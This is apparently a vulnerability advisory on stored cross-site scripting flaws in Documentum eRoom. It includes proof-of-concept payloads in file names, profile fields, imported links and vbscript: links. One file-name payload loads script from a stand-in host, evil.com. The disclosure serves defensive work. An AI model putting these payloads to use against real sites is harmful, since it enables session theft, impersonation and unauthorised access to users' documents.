Vulnerability overview/description:
-----------------------------------
Documentum eRoom suffers from multiple permanent cross-site scripting
vulnerabilities, which allow an attacker to steal other user's sessions,
to impersonate other users and to gain unauthorized access to documents
hosted in eRooms. A JavaScript worm could be utilized to crawl an eRoom and
gather all available documents.
There are many parameters which are not properly sanitized and thus
vulnerable to XSS.
Proof of concept:
-----------------
1) Permanent Cross-Site Scripting within file names
The extension of files uploaded to Documentum eRoom are not sanitized. The
following file name would lead to execution of script code as soon as the
file is viewed (i.e. in the search results or the directory view)
file."><script>alert(1)</script>
."><script src="http://evil&#x2e;com/evil%2ejs"></script>
."><script src="/eRoomReq/Files/facility/eRoom/0_f000/test%2etxt"></script>
2) Permanent Cross-Site Scripting within the personal information
Users can change their personal information. By editing the field
"organization" it is possible to store a malicious JavaScript payload
(e.g., <script>alert(1)</script>).
The payload gets executed every time a user visits a part of the website
responsible for alerting users about changes in the eRoom (i.e., "Choose
Members" for eRooms).
3) Cross-Site Scripting within Links
Via the import function it is possible to add formatted text to database
fields even when the eRoom Plugin is not utilized.
The following formatted text will create links that execute JavaScript code
once clicked:
"<div class=""user""><a
href=""javascript:alert(1)"">test</a></div>"
"<div class=""user""><a onclick=""alert(1)"">test</a></div>"
4) Unhandled protocol handlers in links
Although it is not possible to create links with the function "create link"
that execute JavaScript code via the protocol handler "javascript:", the
protocol handler "vbscript" is allowed and would execute VBScript, for example
in IE (e.g., "vbscript:alert(1)", "callto:+1900[premium-rate number]", etc.).
